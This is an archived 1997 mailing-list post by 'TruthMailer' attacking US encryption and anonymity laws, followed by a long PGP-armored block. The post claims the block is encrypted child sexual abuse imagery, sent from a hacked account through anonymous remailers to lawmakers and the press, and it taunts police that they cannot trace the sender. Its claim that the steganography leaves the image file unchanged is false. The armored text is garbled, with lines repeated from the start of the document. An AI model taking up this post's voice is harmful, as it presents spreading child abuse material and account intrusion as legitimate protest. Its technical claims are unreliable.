S2D30hqaOKbfWzzG7X2JajhlTPV6k0IARu8ht/FjIgG59zasj0Yy6QNaw9qM0LFo
7OI0gcFzlnnJNM04f/jCr0QDsWbKSdT6u3HG6n5Qke9FQlw+fLPk2wteOTiFZyiQ
aLksTM3/veVZsBbT796OPTdx+lm90BjjqEykTAZWOSa0C4L8SKhc50qH2tFdUezX
laY4upPeWaztZ6GD85bxz3PpO49xFIyBQ5KL6ib2LQDlNQLMoNp1hBPVL6y79L/k
+vbAbvcLlm4a+zW2uNUg56lbfiFNofu4nIlnXjwoh5zd8UEbsMGJHjIYN4AG4x9u
r+eKULEzW61UjWVCG4OfCkroLrTN/dXUGsYWPRn++FSlq8lAjGwfgFaNx4YXlj9b
BgPLW8vnAYSbUzIzc+gIq/HVCkK8RDeI0QFxJWDHv/PmUKBAZDbp
ZYb2WfOntmuEsjqTCewNqoNL5CJvl8Vxfeq3WXUDZK6u0PEZcZPFOcYZ4pFFDoEk
nAyKWvH45xZBIBDGMPB++7OzkAZjTuu8/rQNbZA+aIa4UYaPYpqi8Vx0ZuEjprtU
fc7K3xLfc1L0lDIEzWBjOROmEKhqdfAFS6XbCC7dZqFw1DPI1iYHP4dTR6KB8cuK
koeZM3gci/I9gicUturGva3hBfsDlQo8Mej3x+nz3RAqpA/x66coou4uossgbGAl
aMSWw1My8hBJS4hAIbYKZC5pWy1L+N3Ub+csceItJgi7Iv7O8nMyHN7vgiclJrG5
UFBtR+h+DAZFxM6orrPqomCe+yhfrsbqI+wo/XwzsDHpv+oCdM0bBBWSOgJwWD6Z
nQ6oMwkcrOe9gW3eUq05vpDgjHXmHDjhrwiICnYpqZgBzZQCjbOkG86gefqFzJZB
x9pnygSilH4UG0b3HjIhlwEP5z41qG7L6M4IqF1hneg5nr7ZwvWUdv5Z9EjwHPwn
3bx+hKRJeS30t0e84NO1PS7108fR05nQwIeMSUp4HBsT9blNuZ5JVnvfL07R/DWx
EjNKHIYFonyKaoq1qokpOqGqzUkI14GowgCSlSKX0vHSVnVO4iabjX5jeB7KwYVv
StE3hiX7rZaDL/o2f+Lzm7dfHyV1pMEmIc+6QKau2XnTY2B6+L9XAvzk2SDS/QZt
0f0GiA3PZcTOJKLJwv5w9tQOnjE7RBuWN6akh4jrOr+XvJg3FsVi7m+hrD792y1c
8fj/zbRlCMuDv+5CHjzMMVKQFGrkCvOaUNiwn+UEHT7FgDqtHYxViDFVnZJtaGoy
5RiH0T8pyzDNrFRK7LI1djFb/2m8VUykaJdH41j2Ex9cLdJ9v7Ajyyf4RZ+dt4mM
tqB68dCjd2kFetAehxIC0H9QCbeS/wtdl96WzF7VisZp871ru3o=
=rhiW
-----END PGP MESSAGE-----







From tm at dev.null  Tue Jun 24 16:03:23 1997
From: tm at dev.null (TruthMailer)
Date: Wed, 25 Jun 1997 07:03:23 +0800
Subject: Child Pornography [JPEG]
Message-ID: <199706242242.QAA29226@wombat.sk.sympatico.ca>



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: gygqk6Zjhr8ssJKvMxDdwQkYiBMJaW22

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
